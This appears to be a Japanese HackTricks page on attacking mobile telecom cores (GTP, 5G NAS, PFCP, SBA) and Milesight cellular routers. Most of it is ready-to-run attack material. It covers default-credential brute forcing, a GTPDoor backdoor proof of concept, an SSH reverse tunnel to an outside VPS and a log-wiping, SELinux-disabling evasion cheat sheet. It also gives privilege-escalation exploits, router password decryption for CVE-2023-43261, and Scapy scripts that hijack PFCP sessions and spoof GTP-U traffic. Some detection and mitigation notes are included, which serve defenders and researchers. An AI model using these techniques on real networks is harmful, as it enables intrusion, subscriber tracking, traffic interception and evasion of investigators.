テレコムネットワークの悪用(GTP / Roaming Environments)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, テレコムの境界内に侵入点があれば通常、コアシグナリングプレーンに直接到達できることが多いです。 以下のメモは、SGSN/GGSN、PGW/SGW and other EPC nodes に対して野外で観測された攻撃的トリックをまとめたものです。
1. 偵察と初期アクセス
1.1 デフォルト OSS / NE アカウント
かなり多くのベンダーのネットワーク要素が、ハードコードされた SSH/Telnet ユーザー(root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, …)を搭載して出荷されます。専用のワードリストを用意するとブルートフォース成功率が劇的に向上します:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
1.2 GRX/IPX 内のホスト検出
ほとんどの GRX オペレーターは依然としてバックボーン上で ICMP echo を許可しています。masscan を組み合わせ、組み込みの gtpv1 UDP プローブを使って GTP-C リスナーを素早くマッピングします:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. 加入者の列挙 – cordscan
以下のGoツールはGTP-C Create PDP Context Requestパケットを作成し、応答をログに記録します。各応答からは、問い合わせたIMSIに現在サービスを提供しているSGSN / MME、および場合によっては加入者が訪問しているPLMNが判明します。
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
主なフラグ:
--imsiターゲット加入者の IMSI--operHome / HNI (MCC+MNC)-w生のパケットを pcap に書き込む
バイナリ内部の重要な定数は、スキャン範囲を広げるためにパッチ可能です:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. GTP経由のコード実行 – GTPDoor
GTPDoor は小さな ELF サービスで、UDP 2123 をバインドし、受信するすべての GTP-C パケットを解析します。 ペイロードが事前共有タグで始まると、残りは(AES-128-CBC)で復号され /bin/sh -c で実行されます。 stdout/stderr は Echo Response メッセージ内に外部へ抜き出されるため、外向きのセッションは一切作成されません。
最小の PoC パケット (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
検出:
- SGSN IPs に unbalanced Echo Requests を送信している任意のホスト
- message type = 1 (Echo) のときに GTP バージョンフラグが 1 に設定されている — 仕様からの逸脱
4. コアを経由したピボット
4.1 sgsnemu + SOCKS5
OsmoGGSN は実際の GGSN/PGW に対して PDP context を確立できる SGSN emulator を提供します。ネゴシエーション後、Linux はローミングピアから到達可能な新しい tun0 インターフェースを取得します。
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
適切な firewall hair-pinning を行えば、このトンネルは signalling-only VLANs を回避して、直接 data plane に到達します。
4.2 SSH Reverse Tunnel over Port 53
DNS はローミングインフラではほぼ常に開いています。内部の SSH サービスを VPS 上で :53 に待ち受けさせて公開し、後で自宅から再接続します:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPSで GatewayPorts yes が有効になっていることを確認してください。
5. コバートチャネル
| チャネル | トランスポート | 復号 | 備考 |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 完全にパッシブなリスナーで、送信トラフィックなし |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets | *.nodep サブドメインを監視 |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | 正規のGTP-Cトラフィックに溶け込む |
すべてのインプラントは、バイナリをtimestompし、クラッシュした場合は再起動するwatchdogsを実装している。
6. Defense Evasion チートシート
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. レガシーNEでの権限昇格
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
クリーンアップのヒント:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– 前のセクションで説明したカスタムツール。FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: 軽量の SOCKS5 pivotingFRP(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G の登録手順は NGAP 上の NAS (Non-Access Stratum) で動作します。Security Mode Command/Complete によって NAS セキュリティが有効化されるまでは、初期メッセージは認証されておらず暗号化もされていません。このプレセキュリティ期間は、N2 トラフィックを観測または改竄できる場合(コア内の on-path、rogue gNB、テストベッド等)に複数の攻撃経路を可能にします。
Registration flow(簡略):
- Registration Request: UE が SUCI (暗号化された SUPI) と capabilities を送信。
- Authentication: AMF/AUSF が RAND/AUTN を送信;UE は RES* を返す。
- Security Mode Command/Complete: NAS の整合性および暗号化方式が交渉され有効化される。
- PDU Session Establishment: IP/QoS の設定。
ラボ構成のヒント(非RF):
- Core: Open5GS のデフォルト展開でフロー再現に十分。
- UE: simulator や test UE;Wireshark でデコード。
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP)、Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB)。
- Wireshark で便利な表示フィルタ:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
想定挙動: UE/USIM は SUCI(ホームネットワークの公開鍵で暗号化された SUPI)を送信する必要があります。Registration Request に平文の SUPI/IMSI が含まれているのを見つけた場合、それは恒久的な加入者追跡を可能にするプライバシ欠陥を示します。
テスト方法:
- InitialUEMessage の最初の NAS メッセージをキャプチャし、Mobile Identity IE を確認する。
- Wireshark の簡易チェック:
- それが IMSI ではなく SUCI としてデコードされるべき。
- フィルタ例:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suciが存在するか;存在しない場合にimsiが見えると漏洩を示す。
収集すべきもの:
- 露出している場合の MCC/MNC/MSIN;UE 毎にログを取り、時間/場所を跨いで追跡。
軽減策:
- SUCI のみを送る UE/USIM を強制し、初期 NAS におけるいかなる IMSI/SUPI も検知してアラートする。
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
背景:
- UE は Registration Request の UE Security Capability IE でサポートする EEA(暗号)と EIA(整合性)を広告する。
- 一般的な対応: EEA1/EIA1 = SNOW3G、EEA2/EIA2 = AES、EEA3/EIA3 = ZUC;EEA0/EIA0 は null アルゴリズム。
問題点:
- Registration Request は整合性保護されていないため、on-path 攻撃者は capability ビットをクリアして後の Security Mode Command で EEA0/EIA0 の選択を強要できる。一部のスタックは緊急サービス以外でも null アルゴリズムを誤って許容することがある。
攻撃手順:
- InitialUEMessage を傍受し、NAS UE Security Capability を変更して EEA0/EIA0 のみを広告する。
- Sni5Gect を使い、NAS メッセージをフックしてフォワード前に capability ビットをパッチする。
- AMF が null cipher/integrity を受け入れ、EEA0/EIA0 で Security Mode を完了するか観察する。
検証/可視化:
- Security Mode Command/Complete 後に選択されたアルゴリズムを Wireshark で確認する。
- 受動スニッファの出力例:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
対策(必須):
- Configure AMF/policy を構成して、厳格に要求される場合(例:緊急通話)を除き EEA0/EIA0 を拒否する。
- 最低でも EEA2/EIA2 の適用を推奨する。null アルゴリズムを交渉する NAS セキュリティコンテキストについてはログ記録とアラームを行う。
9.3 初回 Registration Request のリプレイ(pre-security NAS)
初期の NAS は整合性と新規性(freshness)を欠くため、キャプチャした InitialUEMessage+Registration Request を AMF にリプレイできる。
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- AMFがそのreplayを受け入れてAuthenticationに進むかどうか。freshnessやcontextの検証が欠如していることは露呈を示す。
Mitigations:
- AMFでreplay protection/context bindingを強制する;GNB/UEごとにレート制限と相関を行う。
9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPFを起動してコアをエミュレートする;N2 (NGAP) と NAS を観察する。
- Wireshark: NGAP/NASのデコードを確認する;上記のフィルタを適用してRegistrationを抽出する。
- 5GReplay: registrationをキャプチャし、ルールに従って特定のNGAP + NASメッセージをreplayする。
- Sni5Gect: NAS制御プレーンをライブでスニッフ/変更/注入して、nullアルゴリズムを強制したり認証シーケンスを攪乱したりする。
9.5 Defensive checklist
- Registration Requestを継続的に検査し、平文のSUPI/IMSIが含まれていないか確認する;問題のあるデバイス/USIMをブロックする。
- 限定的な緊急手続き以外ではEEA0/EIA0を拒否する;少なくともEEA2/EIA2を要求する。
- 不正または誤設定されたインフラを検出する:許可されていないgNB/AMF、予期しないN2ピア。
- nullアルゴリズムをもたらす、またはInitialUEMessageの頻繁なreplayを引き起こすNASセキュリティモードに対してアラートを出す。
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
産業用セルラー・ルータの公開されたweb APIを悪用すると、キャリア発信を装ったステルスなsmishingを大規模に実行できる。Milesight URシリーズのルータは /cgi にJSON-RPC–styleのエンドポイントを公開している。誤設定されている場合、このAPIは認証なしで問い合わせ可能で、SMSのinbox/outboxを列挙したり、導入環境によってはSMSを送信したりできる。
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
レスポンスには timestamp、content、phone_number(E.164)、および status(success または failed)などのフィールドが含まれます。
同じ番号への failed 送信が繰り返されるのは、多くの場合、攻撃者が router/SIM の配信可否を確認するための“capability checks”(blasting 前の検証)です。
SMS metadata を exfiltrate するための curl の例:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
auth artifacts に関する注意事項:
- 一部のトラフィックには auth cookie が含まれる場合があるが、管理インターフェースがインターネット公開されていると、多数の公開デバイスは認証なしで
query_inbox/query_outboxに応答する。 - auth が必要な環境では、previously-leaked credentials(下記参照)でアクセスが復元される。
Credential recovery path – CVE-2023-43261:
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: web-served logs (e.g.,
httpd.log) are reachable unauthenticated under/lang/log/and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
leaked passwords (AES-128-CBC, hardcoded key/IV) を復号する最小限の Python:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
ハンティングと検出のアイデア(ネットワーク):
- 認証されていない
POST /cgiに対して、JSON ボディ内のbase/functionがquery_inboxまたはquery_outboxに設定されている場合にアラートを出す。 - 同一の送信元 IP から多数のユニークな番号に対して繰り返し発生する
POST /cgiのバーストと、その後に続くstatus":"failed"エントリを追跡する(capability testing)。 - インターネットに公開されている Milesight ルータを把握し、管理アクセスを VPN に限定する。必要がない限り SMS 機能を無効化する。≥ v35.3.0.7 にアップグレードする。認証情報を更新し、未知の送信がないか SMS ログを確認する。
Shodan/OSINT のピボット(実際に確認された例):
http.html:"rt_title"は Milesight ルータのパネルに一致する。- 公開ログの検索用 Google dork:
"/lang/log/system" ext:log.
運用への影響: ルータ内に正規キャリアの SIMs を入れると、フィッシングに対する SMS の到達性と信頼性が非常に高まる。一方で、inbox/outbox の露出は大量の機微なメタデータを leaks する。
11. PFCP Session Hijack & GTP-U TEID Abuse
11.1 PFCP Session Modification to steal flows
もし N4 上で PFCP を扱えるなら(例えばフィルタリングが不十分な GRX/IPX セグメントから)、Session Modification Request を作成し、重複する PDR ID を挿入するが、より小さい Precedence とあなたのホストを指す FAR を設定する。いくつかの UPF(例: OAI-cn5g)は最初にマッチした PDR を適用し一意性をチェックしないため、悪意ある PDR がその PDU セッションの後続パケットをすべてあなたのシンクに hijacks する。
Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):
Scapy PFCP session hijack PoC
```python from scapy.all import * from scapy.contrib.pfcp import *n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR
pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)
</details>
### 11.2 TEIDsを偽装してユーザートラフィックを注入する
バックボーンからの uplink GTP-U に ACL が設定されていない場合、GTP-U ヘッダで見える **TEIDs** をリプレイ/推測して、任意の IP/TCP を UE のピアやインターネット宛にカプセル化して送信できます。作成例:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))
これを N3/N6 上での passive sniffing と組み合わせて active TEIDs を把握する。多くの PGW/UPF スタックは TEID が一致すれば任意の uplink source を受け入れる。
12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)
FivGeeFuzz (academic 2025) は 3GPP OpenAPI specs から文法を自動導出して HTTP-based SBIs をファズする。free5GC に対しては 8 件のバグを発見し、その中に Cross-Service Token の悪用が含まれる:侵害された NF が Service A の access token を取得し、target NF に audience/issuer checks が無いためそれを Service B に対して再利用する。
Quick replay idea (assuming you stole an NRF-issued token from any NF):
# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts
FivGeeFuzz の文法を使って自動的にファズするには:
python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500
SMF/AMF pods における 401/403 バイパスやクラッシュに注意;パッチ適用された free5GC ビルドは不一致の aud/iss を拒否する。
検出のアイデア
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
- PFCP: Session Modification carrying duplicate PDR IDs or sudden FAR redirection to off-net IPs.
- SBA: NRF issues tokens whose
auddoes not match the called NF – indicative of Cross-Service Token replay.
参考資料
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
- Cross-Service Token in 5G Core (API Security Blog)
- PFCP Session Modification Hijack in OAI UPF
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


